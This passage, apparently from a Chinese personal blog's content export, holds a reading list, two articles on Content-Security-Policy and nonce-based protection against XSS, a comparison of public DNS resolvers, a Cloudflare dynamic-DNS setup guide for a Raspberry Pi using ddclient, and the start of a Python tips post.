<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1217509&size=24" alt=""><br>月亮与六便士</p>
<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1230961&size=24" alt=""><br>刻意练习</p>
<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1230961&size=24" alt=""><br>动物农场</p>
<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1230961&size=24" alt=""><br>时间管理</p>
<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1230961&size=24" alt=""><br>微习惯</p>
<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1230961&size=24" alt=""><br>微精通</p>
<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1230961&size=24" alt=""><br>极简工作法</p>
<h3 id="技术类"><a href="#技术类" class="headerlink" title="技术类"></a>技术类</h3><p><img src="https://www.easyicon.net/api/resizeApi.php?id=1227798&size=24" alt=""><br>精通Scrapy网络爬虫</p>
<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1227798&size=24" alt=""><br>精通Python爬虫框架Scrapy</p>
<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1227798&size=24" alt=""><br>编程珠玑</p>
<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1227798&size=24" alt=""><br>编写可维护的JavaScript</p>
<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1227798&size=24" alt=""><br>Python编程无师自通</p>
<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1227798&size=24" alt=""><br>MicroPython for the Internet of Things</p>
<p><img src="https://www.easyicon.net/api/resizeApi.php?id=1227798&size=24" alt=""><br>图解HTTP</p>
<h3 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h3><p><img src="https://www.easyicon.net/api/resizeApi.php?id=1146989&size=32" alt=""><br>极客物理学</p>
<h3 id="理财类"><a href="#理财类" class="headerlink" title="理财类"></a>理财类</h3><p><img src="https://www.easyicon.net/api/resizeApi.php?id=1220091&size=24" alt=""><br>穷查理宝典</p>
<h3 id="语言类"><a href="#语言类" class="headerlink" title="语言类"></a>语言类</h3><p><img src="https://www.easyicon.net/api/resizeApi.php?id=554753&size=32" alt=""><br>1368个单词就够了</p>
<p><strong>另外还有eslpod 和englipod的音频 反复练习读听写</strong></br></p>
<h2 id="todo-list"><a href="#todo-list" class="headerlink" title="todo list"></a>todo list</h2><ul>
<li><input disabled="" type="checkbox"> 精通Scrapy网络爬虫 <img src="https://img.shields.io/badge/read-80-yellow.svg" alt=""></br></li>
<li><input checked="" disabled="" type="checkbox"> 圣斗士星矢 <img src="http://progressed.io/bar/91" alt=""></br></li>
<li><input checked="" disabled="" type="checkbox"> 万历十五年 <img src="http://progressed.io/bar/100" alt=""></br></li>
<li><input checked="" disabled="" type="checkbox"> 动物农场（中文） <img src="http://progressed.io/bar/100" alt=""></br></li>
<li><input checked="" disabled="" type="checkbox"> 日语五十音图详解  <img src="http://progressed.io/bar/100" alt=""></br></li>
</ul>
]]></content>
      <categories>
        <category>ebook</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>ebook,kindle,collect</tag>
      </tags>
  </entry>
  <entry>
    <title>decryption-javascript</title>
    <url>/2021/02/25/decryption-javascript/</url>
    <content><![CDATA[]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>csp-nonce 守护inline Script</title>
    <url>/2020/10/26/csp-nonce/</url>
    <content><![CDATA[<p>在<a href="https://cx4.github.io/2020/10/22/csp-xss/">XSS终结者</a>一文中，讲述了CSP基础语法组成与使用方式。最终我们利用CSP提供的域名白名单机制，有效地将异常的外联脚本拦在门外。然而在线上环境千千万万，虽然我们限制了外联脚本，但是内联脚本却钻了空。</p>
<a id="more"></a>
<h3 id="CSP-unsafe-inline"><a href="#CSP-unsafe-inline" class="headerlink" title="CSP unsafe-inline"></a>CSP unsafe-inline</h3><p>CSP的默认策略是不允许inline脚本执行，所以当我们没有必要进行脚本inline时，CSP域名白名单的机制足以防范注入脚本的问题。然而在实际项目中，我们还是会因为一些场景需要将部分脚本进行inline。于是需要在CSP的规则中增加<code>script-src‘unsafe-inline’</code>配置允许inline资源执行。但也带来了新的隐患。</p>
<p>允许inline资源执行，也意味着当恶意代码通过inline的方式注入到页面中执行时，页面将变得不再安全。如富文本中被插入一段script代码（没被转义），或者是通过浏览器插件的方式进行代码注入等方式。</p>
<p><code>Content-Security-Policy： script-src &#39;unsafe-inline&#39;</code></p>
<h3 id="CSP-nonce"><a href="#CSP-nonce" class="headerlink" title="CSP nonce"></a>CSP nonce</h3><p>为了避免上述问题，我们可以使用<code>nonce</code>方式加强的CSP策略，nonce方式是至每次页面访问都产生一个唯一id，通过给内联脚本增加一个nonce属性，并且使其属性值（id）与返回的CSP nonce-{id}对应。只有当两者一致时，对应的内敛脚本才被允许执行。于是，即使网页被注入异常的脚本，因为攻击者不知道当时的nonce的随机id值，所以注入的脚本不会被执行。从而让网页变得更加安全。</p>
<figure class="highlight html"><table><tr><td class="code"><pre><code class="hljs html">Content-Security-Policy:script-src 'nonce-5fAiFfSghuhdf'<br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">nonce</span>=<span class="hljs-string">"5fAiFfSghuhdf"</span>&gt;</span><span class="actionscript"><br>    <span class="hljs-comment">//.....</span><br></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>那么，当我们通过动态生成脚本并进行插入时，nonce也会将我们正常的代码拦截在外。所以在这种场景下，我们需要配套使用CSP提供的<code>strict-dynamic</code>,<code>strict-dynamic</code>模式允许让被信任的脚本插入并放行正常的脚本执行。</p>
<p><code>Content-Security-Policy:script-src &#39;nonce-5fAiFfSghuhdf&#39; &#39;strict-dynamic&#39;</code></p>
<h3 id="Nonce的部署方式"><a href="#Nonce的部署方式" class="headerlink" title="Nonce的部署方式"></a>Nonce的部署方式</h3><h5 id="前端"><a href="#前端" class="headerlink" title="前端"></a>前端</h5><h5 id="script标签增加nonce属性"><a href="#script标签增加nonce属性" class="headerlink" title="script标签增加nonce属性"></a>script标签增加nonce属性</h5><p>我们可以通过构建的方式为页面中script标签添加nonce属性，并增加一个占位符，如</p>
<figure class="highlight html"><table><tr><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">nonce</span>=<span class="hljs-string">"NONCE_TOKEN"</span>&gt;</span><span class="actionscript"><br>    <span class="hljs-comment">//....</span><br></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<h5 id="后端"><a href="#后端" class="headerlink" title="后端"></a>后端</h5><h5 id="生产唯一id，在CSP返回头中添加nonce-id-并将id替换html上的nonce占位符"><a href="#生产唯一id，在CSP返回头中添加nonce-id-并将id替换html上的nonce占位符" class="headerlink" title="生产唯一id，在CSP返回头中添加nonce-{id}并将id替换html上的nonce占位符"></a>生产唯一id，在CSP返回头中添加nonce-{id}并将id替换html上的nonce占位符</h5><p>方式一： 服务端处理</p>
<ul>
<li>当也买你在服务端渲染时，html作为模板在服务端进行处理后输出，我们可以在后端胜场威一id</li>
<li>通过模板变量将id注入到html中实现替换NONCE_TOKEN占位符</li>
<li>于此同时，将CSP返回头进行对应设置</li>
</ul>
<p>方式二： Nginx处理</p>
<ul>
<li>Nginx中可以使用内置变量的<code>$request_id</code> 作为唯一id，而当nginx版本不支持时，则可以借助lua去生产一个uuid</li>
<li>接着通过Nginx的sub_filter NONCE_TOKEN ‘id’ 将页面中的NONCE_TOKEN占位符替换为id，或者使用lua进行替换</li>
<li>最后使用<code>add_header Content-Security-Policy &quot;script-src &#39;nonce-{id}&#39;&quot;...</code> 添加对应的CSP返回头</li>
</ul>
<p>当然，为了避免攻击者提前注入一段脚本，并在script标签上同样添加了<code>nonce=&quot;NONCE_TOKEN&quot;</code>后端的“误”替换，导致这段提前注入的脚本进行执行。我们需要保密好项目的占位符，取一个特殊的占位符，并行动起来吧。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>domain-name-servers</title>
    <url>/2017/05/16/domain-name-servers/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200229/QvrbvunLMzT1.jpg?imageslim" alt="mark"></p>
<h4 id="dns在平时上网中扮演重要角色，如果不注意dns的话，可能会导致网速慢，弹窗广告，网址打不开，打开的不是自己想要的网站，劫持，抢中抢等一系列问题。针对dns的问题，今天我们来总结一下，看看哪家dns服务器最好用。"><a href="#dns在平时上网中扮演重要角色，如果不注意dns的话，可能会导致网速慢，弹窗广告，网址打不开，打开的不是自己想要的网站，劫持，抢中抢等一系列问题。针对dns的问题，今天我们来总结一下，看看哪家dns服务器最好用。" class="headerlink" title="dns在平时上网中扮演重要角色，如果不注意dns的话，可能会导致网速慢，弹窗广告，网址打不开，打开的不是自己想要的网站，劫持，抢中抢等一系列问题。针对dns的问题，今天我们来总结一下，看看哪家dns服务器最好用。"></a>dns在平时上网中扮演重要角色，如果不注意dns的话，可能会导致网速慢，弹窗广告，网址打不开，打开的不是自己想要的网站，劫持，抢中抢等一系列问题。针对dns的问题，今天我们来总结一下，看看哪家dns服务器最好用。</h4><a id="more"></a>
<p>以下常见问题可通过修改dns解决。<br>1.电脑只能上QQ，不能访问网页。<br>2.iphone手机访问appstore非常慢。<br>3.打开某网站速度非常慢。</p>
<p><strong>DNSPod DNS+：★★★★★（推荐）</strong><br>DNSPod的 Public DNS+是目前国内第一家支持ECS的公共DNS，是DNSPod推出的公共域名解析服务，可以为全网用户提供域名的公共递归解析服务！<br>DNS 服务器 IP 地址：<br>首选：119.29.29.29<br>备选：182.254.116.116<br>作者点评：测试数据显示Public DNS+国内数据均比114DNS好，强力推荐！</p>
<p><strong>114DNS：★★★★★</strong><br>国内用户量巨大的DNS，访问速度快，各省都有节点，同时满足电信、联通、移动各运营商用户，可以有效预防劫持。<br>DNS 服务器 IP 地址：<br>首选：114.114.114.114<br>备选：114.114.114.115<br>作者点评：虽然测试结果比不上Public DNS+理想，但是也是非常不错的DNS！</p>
<p><strong>阿里 AliDNS：★★★★</strong><br>阿里公共DNS是阿里巴巴集团推出的DNS递归解析系统，目标是成为国内互联网基础设施的组成部分，面向互联网用户提供“快速”、“稳定”、“智能”的免费DNS递归解析服务。<br>DNS 服务器 IP 地址：<br>首选：223.5.5.5<br>备选：223.6.6.6<br>作者点评：排名第三的DNS也不是吹的，只是节点貌似有点少。</p>
<p><strong>DNS派：★★★★</strong><br>DNS派是聚流科技旗下的DNS服务平台,为个人用户、网站主、企业提供各种有关DNS业务的服务,包括个人上网的域名解析服务、网站授权解析服务、企业域名解析服务等。<br>DNS 服务器 IP 地址：<br>首选（电信/移动/铁通）：101.226.4.6<br>备选（电信/移动/铁通）：218.30.118.6<br>首选（联通）：123.125.81.6<br>备选（联通）：140.207.198.6<br>作者点评：360出品！测试结果还不错！</p>
<p><strong>百度 BaiduDNS：★★★</strong><br>百度DNS旗下云解析服务,依托百度一流基础设施和强大技术实力,为用户提供免费的、超越竞品的服务体验。没有套餐区分,安全,稳定,高效<br>DNS 服务器 IP 地址：<br>首选：180.76.76.76<br>作者点评：暂时不知道百度有多少节点。不过应该也不少吧。</p>
<p><strong>CNNIC SDNS：★★★</strong><br>SDNS是由中国互联网络信息中心(CNNIC)正式推出的免费的公共云解析服务(SecureDNS,简称SDNS)。该服务可为广大网民提供安全、智能、高速的上网接入解析服务。<br>DNS 服务器 IP 地址：<br>首选：1.2.4.8<br>备选：210.2.4.8<br>作者点评：作为国家出品的DNS，有待测试……（你敢用吗？反正我不敢）</p>
<p><strong>OpenDNS：★（不推荐）</strong><br>OpenDNS是一个免费的域名解析服务提供商（DNS）。创建于2006年，长期以来致力于为广大个人用户以及商务企业用户和公共领域提供免费的域名解析服务。<br>DNS 服务器 IP 地址：<br>首选：208.67.222.222<br>备选：208.67.220.220<br>作者点评：国内节点少！貌似就几个，不推荐使用！</p>
<p><strong>Google DNS：★（强烈不推荐）</strong><br>谷歌公共域名解析服务（Google Public DNS）是由谷歌公司于2009年发布的一项新的DNS服务。主要为了替代ISPs或其他公司提供的DNS服务。<br>DNS 服务器 IP 地址：<br>首选：8.8.8.8<br>备选：8.8.4.4<br>作者点评：机房在国外，国内无节点！你如果用了谷歌DNS你的信息有可能会免费出国转一圈才回来！强烈不推荐使用！只适合国外用户使用！</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>collections</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>DNS</tag>
      </tags>
  </entry>
  <entry>
    <title>XSS终结者Content-Security-Policy</title>
    <url>/2020/10/22/csp-xss/</url>
    <content><![CDATA[<p>CSP全称为Content Security Policy,即内容安全策略。主要以白名单的形式配置可信任的内容来源，在网页中，能够使白名单中的内容正常执行（JS，CSS，image等），而非白名单的内容无法正常执行，从而<code>减少跨站脚本攻击（XSS）</code>，当然也能够<code>减少运营商劫持的内容注入攻击</code>。</p>
<a id="more"></a>

<p>example：</p>
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

<p>不支持CSP的浏览器将会自动忽略CSP的信息，不会有什么影响。</p>
<p>浏览器兼容性查询<a class="link"   href="http://caniuse.com/#feat=contentsecuritypolicy"  target="_blank" rel="noopener">caniuse<i class="fas fa-external-link-alt"></i></a></p>
<h3 id="CSP-语法组成"><a href="#CSP-语法组成" class="headerlink" title="CSP 语法组成"></a>CSP 语法组成</h3><h4 id="策略类型"><a href="#策略类型" class="headerlink" title="策略类型"></a>策略类型</h4><p>csp有两种策略类型：</p>
<ul>
<li><p>Conten-Security-Policy</p>
</li>
<li><p>Content-Security-Policy-Report-Only</p>
<p>这两种策略类型的主要区别也i可以从命名上看出，第一种对不安全的资源会进行阻止，第二种只会进行数据上报，不会有实际的阻止。</p>
<p>当定义多个策略的时候，浏览器会优先采用最先定义的。</p>
</li>
</ul>
<h3 id="指令集合"><a href="#指令集合" class="headerlink" title="指令集合"></a>指令集合</h3><p>CSP的指令是指组成内容来源白名单的关键，上面两种策略类型含有以下</p>
<h4 id="指令示例及说明"><a href="#指令示例及说明" class="headerlink" title="指令示例及说明"></a>指令示例及说明</h4><table>
<thead>
<tr>
<th>指令</th>
<th>取值示例</th>
<th>说明</th>
</tr>
</thead>
<tbody><tr>
<td>default-src</td>
<td>‘self’ cdn.example.com</td>
<td>定义针对所有类型（js/image/css/web font/ajax/iframe/多媒体等）资源的默认加载策略，某类型资源如果没有单独定义策略，就使用默认。</td>
</tr>
<tr>
<td>script-src</td>
<td>‘self’ js.example.com</td>
<td>定义针对JavaScript的加载策略</td>
</tr>
<tr>
<td>object-src</td>
<td>‘self’</td>
<td>针对,, 等标签的加载策略</td>
</tr>
<tr>
<td>style-src</td>
<td>‘self’ css.example.com</td>
<td>定义针对样式的加载策略</td>
</tr>
<tr>
<td>img-src</td>
<td>‘self’ image.example.com</td>
<td>定义针对图片的加载策略</td>
</tr>
<tr>
<td>media-src</td>
<td>‘media.example.com’</td>
<td>针对或者引入的html多媒体等标签的加载策略</td>
</tr>
<tr>
<td>frame-src</td>
<td>‘self’</td>
<td>针对iframe的加载策略</td>
</tr>
<tr>
<td>connect-src</td>
<td>‘self’</td>
<td>针对Ajax、WebSocket等请求的加载策略。不允许的情况下，浏览器会模拟一个状态为400的响应</td>
</tr>
<tr>
<td>font-src</td>
<td>font.qq.com</td>
<td>针对Web Font的加载策略</td>
</tr>
<tr>
<td>sandbox</td>
<td>allow-forms allow-scripts</td>
<td>对请求的资源启用sandbox</td>
</tr>
<tr>
<td>report-uri</td>
<td>/some-report-uri</td>
<td>告诉浏览器如果请求的资源不被策略允许时，往哪个地址提交日志信息。不阻止任何内容，可以改用Content-Security-Policy-Report-Only头</td>
</tr>
<tr>
<td>base-uri</td>
<td>‘self’</td>
<td>限制当前页面的url（CSP2）</td>
</tr>
<tr>
<td>child-src</td>
<td>‘self’</td>
<td>限制子窗口的源(iframe、弹窗等),取代frame-src（CSP2）</td>
</tr>
<tr>
<td>form-action</td>
<td>‘self’</td>
<td>限制表单能够提交到的源（CSP2）</td>
</tr>
<tr>
<td>frame-ancestors</td>
<td>‘none’</td>
<td>限制了当前页面可以被哪些页面以iframe,frame,object等方式加载（CSP2）</td>
</tr>
<tr>
<td>plugin-types</td>
<td>application/pdf</td>
<td>限制插件的类型（CSP2）</td>
</tr>
</tbody></table>
<h4 id="指令值示例及说明"><a href="#指令值示例及说明" class="headerlink" title="指令值示例及说明"></a>指令值示例及说明</h4><table>
<thead>
<tr>
<th>指令值</th>
<th>示例</th>
<th>说明</th>
</tr>
</thead>
<tbody><tr>
<td>*</td>
<td>img-src *</td>
<td>允许任何内容</td>
</tr>
<tr>
<td>‘none’</td>
<td>img-src ‘none’</td>
<td>不允许任何内容</td>
</tr>
<tr>
<td>‘self’</td>
<td>img-src ‘self’</td>
<td>允许同源内容</td>
</tr>
<tr>
<td>data:</td>
<td>img-src data:</td>
<td>允许data:协议（如base64编码的图片）</td>
</tr>
<tr>
<td><a class="link"   href="http://www.a.com"  target="_blank" rel="noopener">www.a.com<i class="fas fa-external-link-alt"></i></a></td>
<td>img-src <a class="link"   href="http://www.a.com"  target="_blank" rel="noopener">www.a.com<i class="fas fa-external-link-alt"></i></a></td>
<td>允许加载指定域名的资源</td>
</tr>
<tr>
<td>*.a.com</td>
<td>img-src *.a.com</td>
<td>允许加载a.com任何子域的资源</td>
</tr>
<tr>
<td><a class="link"   href="https://img.com"  target="_blank" rel="noopener">https://img.com<i class="fas fa-external-link-alt"></i></a></td>
<td>img-src <a class="link"   href="https://img.com"  target="_blank" rel="noopener">https://img.com<i class="fas fa-external-link-alt"></i></a></td>
<td>允许加载img.com的https资源</td>
</tr>
<tr>
<td>https:</td>
<td>img-src https:</td>
<td>允许加载https资源</td>
</tr>
<tr>
<td>‘unsafe-inline’</td>
<td>script-src ‘unsafe-inline’</td>
<td>允许加载inline资源（style属性，onclick，inline js和inline css等等）</td>
</tr>
<tr>
<td>‘unsafe-eval’</td>
<td>script-src ‘unsafe-eval’</td>
<td>允许加载动态js代码，例如eval()</td>
</tr>
</tbody></table>
<h2 id="CSP的使用方式"><a href="#CSP的使用方式" class="headerlink" title="CSP的使用方式"></a>CSP的使用方式</h2><h3 id="HTML-Meta标签"><a href="#HTML-Meta标签" class="headerlink" title="HTML Meta标签"></a>HTML Meta标签</h3><p>在这种形式中，Meta标签主要含有两部分的key-value:</p>
<ul>
<li>http-equiv</li>
<li>content</li>
</ul>
<p>http-equiv的value为CSP的策略类型，而content则是声明指令集合，即白名单。如</p>
<meta http-equiv-"Content-Security-Policy" content="script-src 'self'">

<p>在HTML的head标签中添加上面的Meta标签，当浏览器支持CSP标准时，<code>Content-Security-Policy</code>实际阻止策略将会使得非同源的script(根据指令集合来定)不会被加载及执行。</p>
<p>Meta标签的Content-Security-policy-Report-Only方式在当前（2020/10）多数移动端浏览器上表现正常，但是<strong>不推荐</strong>这样做，在Chrome 50 会产生如下的提示</p>
<blockquote>
<p>The report-only Content Security Policy xxxxxxx was delivered via a element,which is disallowed. The policy has been ignored.</p>
</blockquote>
<h4 id="HTTP-Header"><a href="#HTTP-Header" class="headerlink" title="HTTP Header"></a>HTTP Header</h4><p>通过Meta的方式很是简单，但当涉及到页面较多时，使用Meta标签的方式需要在每个页面都鸽子加上。如果通过服务端配置HTML返回的响应头HTTP Header带上CSP的指令的话，那将能够一劳永逸，同事支持多个页面。下面为响应头</p>
<blockquote>
<p>Response Header</p>
<p>Connection: keep-alive</p>
<p>Content-Security-Policy: script-src ‘self’ *.qq.com *.url.cn</p>
</blockquote>
<p>不仅如此，这种形式的Content-Security-Policy-Report-Only方式能够得到更好的兼容支持，也是推荐方式。</p>
<h3 id="实践经验"><a href="#实践经验" class="headerlink" title="实践经验"></a>实践经验</h3><p>CSP的阻止加载及执行的方式相当强大，也因为它如此强大，所以在使用时更是要小心谨慎，毕竟，如果一个不小心制定了错误的指令集合方案，那将可能导致阻止了正常文件的加载，影响业务功能，这是相当危险的。</p>
<h4 id="一步步制定你的CSP方案"><a href="#一步步制定你的CSP方案" class="headerlink" title="一步步制定你的CSP方案"></a>一步步制定你的CSP方案</h4><h5 id="1-通过HTML-Meta标签进行初步方案的制定（meta标签已不支持report-uri-2019-7）"><a href="#1-通过HTML-Meta标签进行初步方案的制定（meta标签已不支持report-uri-2019-7）" class="headerlink" title="1. 通过HTML Meta标签进行初步方案的制定（meta标签已不支持report-uri 2019.7）"></a>1. 通过HTML Meta标签进行初步方案的制定（meta标签已不支持report-uri 2019.7）</h5><p>这种方式实现成本低，只对当前的HTML有效，从而能够进行逐步灰度。当然存在上面提及的兼容性问题，但如果现在时移动端上，或者在可逾期的浏览器内核上跑的话，在兼容性满足的情况下，那还是可以用过这个方式进行Report-Only。结合自己业务的资源情况以及在Chrome上调试制定初步方案。</p>
<h5 id="2-使用HTTP-Header的Content-Security-Policy-Report-Only方式进一步确定方案"><a href="#2-使用HTTP-Header的Content-Security-Policy-Report-Only方式进一步确定方案" class="headerlink" title="2. 使用HTTP Header的Content-Security-Policy-Report-Only方式进一步确定方案"></a>2. 使用HTTP Header的Content-Security-Policy-Report-Only方式进一步确定方案</h5><p>由于上面的Meta标签存在一定的兼容问题，所以当我们制定了初步方案后，就可以开始使用HTTP Header的形式，小心使得万年船，这里还是建议先使用Report-Only的方式，并制定上报的url来收集阻止的内容，通过上报的数据进行方案的优化，从而进一步确定具体方案。</p>
<h5 id="3-HTTP-Header改用Content-Security-Policy策略进行实际拦截阻止"><a href="#3-HTTP-Header改用Content-Security-Policy策略进行实际拦截阻止" class="headerlink" title="3.HTTP Header改用Content-Security-Policy策略进行实际拦截阻止"></a>3.HTTP Header改用Content-Security-Policy策略进行实际拦截阻止</h5><p>具体的CSP方案经过上面两轮洗礼，在<strong>分析完上报的数据，确定白雾疏漏</strong>后，可将HTTP Header改用Content-Security-Policy策略，从而进行实际拦截阻止。</p>
<h4 id="项目实践数据"><a href="#项目实践数据" class="headerlink" title="项目实践数据"></a>项目实践数据</h4><p>从过腾讯使用CSP后的上报拦截数据</p>
<table>
<thead>
<tr>
<th>日期</th>
<th>CSP阻止量</th>
<th>在线PV</th>
<th>占比</th>
</tr>
</thead>
<tbody><tr>
<td>2016.03.31</td>
<td>23431</td>
<td>545872</td>
<td>4.31%</td>
</tr>
<tr>
<td>2016.04.01</td>
<td>24459</td>
<td>619979</td>
<td>3.95%</td>
</tr>
<tr>
<td>2016.04.02</td>
<td>20398</td>
<td>525055</td>
<td>3.88%</td>
</tr>
<tr>
<td>2016.04.02</td>
<td>19938</td>
<td>475985</td>
<td>4.19%</td>
</tr>
<tr>
<td>2016.04.03</td>
<td>23140</td>
<td>507329</td>
<td>4.56%</td>
</tr>
</tbody></table>
<p>从上面的数据可以看出，每天被攻击的情况呈现出一种稳定持续的倾向，而且这类攻击一版不是针对某个业务的，具备了普遍性，这样的影响范围可想而知。</p>
<h6 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h6><blockquote>
<p><a class="link"   href="https://www.w3.org/TR/CSP/#changes-from-level-1"  target="_blank" rel="noopener">https://www.w3.org/TR/CSP/#changes-from-level-1<i class="fas fa-external-link-alt"></i></a><br><a class="link"   href="http://w3c.github.io/webappsec-csp/"  target="_blank" rel="noopener">http://w3c.github.io/webappsec-csp/<i class="fas fa-external-link-alt"></i></a><br><a class="link"   href="http://content-security-policy.com/"  target="_blank" rel="noopener">Content-Security-Policy Header ⟶ CSP Reference &amp; Examples<i class="fas fa-external-link-alt"></i></a><br><a class="link"   href="https://www.w3.org/TR/2012/CR-CSP-20121115/"  target="_blank" rel="noopener">Content Security Policy 1.0<i class="fas fa-external-link-alt"></i></a><a class="link"   href="https://www.w3.org/TR/CSP/#changes-from-level-1"  target="_blank" rel="noopener">Content Security Policy Level 3<i class="fas fa-external-link-alt"></i></a><br><a class="link"   href="http://w3c.github.io/webappsec-csp/"  target="_blank" rel="noopener">Content Security Policy Level 3<i class="fas fa-external-link-alt"></i></a><br><a class="link"   href="http://content-security-policy.com/"  target="_blank" rel="noopener">Content-Security-Policy Header ⟶ CSP Reference &amp; Examples<i class="fas fa-external-link-alt"></i></a><br><a class="link"   href="https://www.w3.org/TR/2012/CR-CSP-20121115/"  target="_blank" rel="noopener">Content Security Policy 1.0<i class="fas fa-external-link-alt"></i></a></p>
</blockquote>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>Use Cloudflare as Dynamic DNS with Raspberry Pi</title>
    <url>/2020/01/20/dynamicDNS/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200120/ftOc2kD3gjA9.png?imageslim" alt="mark"><br>pi-hole、Domoticz、Homebridge都已经安装好了，是时候设置个域名了，考虑到Cloudflare的强大，此次的DDNS将使用Cloudflare来实现。</p>
<a id="more"></a>
<h3 id="Cloudflare-控制台配置"><a href="#Cloudflare-控制台配置" class="headerlink" title="Cloudflare 控制台配置"></a>Cloudflare 控制台配置</h3><p>1️⃣ 登录<a class="link"   href="https://dash.cloudflare.com/"  target="_blank" rel="noopener">cloudflare<i class="fas fa-external-link-alt"></i></a>控制台。</br><br>2️⃣ 添加你要进行解析的域名</br><br>3️⃣ 添加一条默认的A记录，指向一个ipv4的地址。</br></p>
<h4 id="Global-API-Key"><a href="#Global-API-Key" class="headerlink" title="Global API Key"></a>Global API Key</h4><p>如果使用动态域名，需要使用全局apikey来登录更新A记录的值</p>
<ol>
<li>在CloudFlare管理后台登录个人面板</li>
<li>向下滑动找到全局api</li>
<li>记录下api后边使用</li>
</ol>
<h3 id="在树莓派上面配置"><a href="#在树莓派上面配置" class="headerlink" title="在树莓派上面配置"></a>在树莓派上面配置</h3><ol>
<li>DDclient<br>⚠️ 安装完成后需要跳过设置界面，因为后面需要覆盖此配置。<figure class="highlight pgsql"><table><tr><td class="code"><pre><code class="hljs pgsql">sudo apt-<span class="hljs-keyword">get</span> <span class="hljs-keyword">update</span><br>sudo apt-<span class="hljs-keyword">get</span> install ddclient libjson-<span class="hljs-keyword">any</span>-perl<br></code></pre></td></tr></table></figure></li>
<li>更新ddclient<br>最新版的ddclient能够更好的支持cloudflare<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">wget https:<span class="hljs-comment">//files.pimylifeup.com/portforwarding/ddclient-3.9.0.tar.gz</span><br>tar -zxvf ddclient<span class="hljs-number">-3.9</span><span class="hljs-number">.0</span>.tar.gz<br></code></pre></td></tr></table></figure></li>
<li>替换已经安装的路径<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">sudo cp -f ddclient<span class="hljs-number">-3.9</span><span class="hljs-number">.0</span>/ddclient /usr/sbin/ddclient<br></code></pre></td></tr></table></figure></li>
<li>因为新版的ddclient 做了更改，所以我们需要在原版基础上修改一下文件位置<figure class="highlight awk"><table><tr><td class="code"><pre><code class="hljs awk">sudo mkdir <span class="hljs-regexp">/etc/</span>ddclient<br>sudo mv <span class="hljs-regexp">/etc/</span>ddclient.conf <span class="hljs-regexp">/etc/</span>ddclient<br></code></pre></td></tr></table></figure></li>
<li>修改配置文件<figure class="highlight vim"><table><tr><td class="code"><pre><code class="hljs vim">sudo <span class="hljs-keyword">vi</span> /etc/ddclient/ddclient.<span class="hljs-keyword">conf</span><br></code></pre></td></tr></table></figure>
将下列配置添加到文件当中<figure class="highlight routeros"><table><tr><td class="code"><pre><code class="hljs routeros"><span class="hljs-attribute">protocol</span>=cloudflare<br><span class="hljs-attribute">server</span>=www.cloudflare.com<br><span class="hljs-attribute">login</span>=CLONDFLARE_LOGIN_MAIL #此处填写你的cf登录邮箱<br><span class="hljs-attribute">password</span>=GLOBAL_API_KEY #此处填写上面拿到的cf密钥<br><span class="hljs-attribute">zone</span>=YOUR_DOMAIN.COM  #填写你的域名地址<br>anything.YOUR_DOMAIN.COM #配置的域名地址<br></code></pre></td></tr></table></figure></li>
<li>重启服务<figure class="highlight awk"><table><tr><td class="code"><pre><code class="hljs awk">sudo <span class="hljs-regexp">/etc/i</span>nit.d<span class="hljs-regexp">/ddclient restart</span><br></code></pre></td></tr></table></figure>

</li>
</ol>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
        <category>Raspberry</category>
        <category>Cloudflare</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>Python-ticks</title>
    <url>/2019/12/25/decomposing-elements-from-iteratable-objects-md/</url>
    <content><![CDATA[<p>整理和维护经常会用到的python技巧</p>
<a id="more"></a>

<ol>
<li><strong>Upack</strong></li>
</ol>
<p><strong>当需要从某个可迭代对象中分决出N个元素，但是这个可迭代对象的长度可能超过N，这会导致“分解的值过多（too many values to unpack）”的异常</strong></p>
 <div>
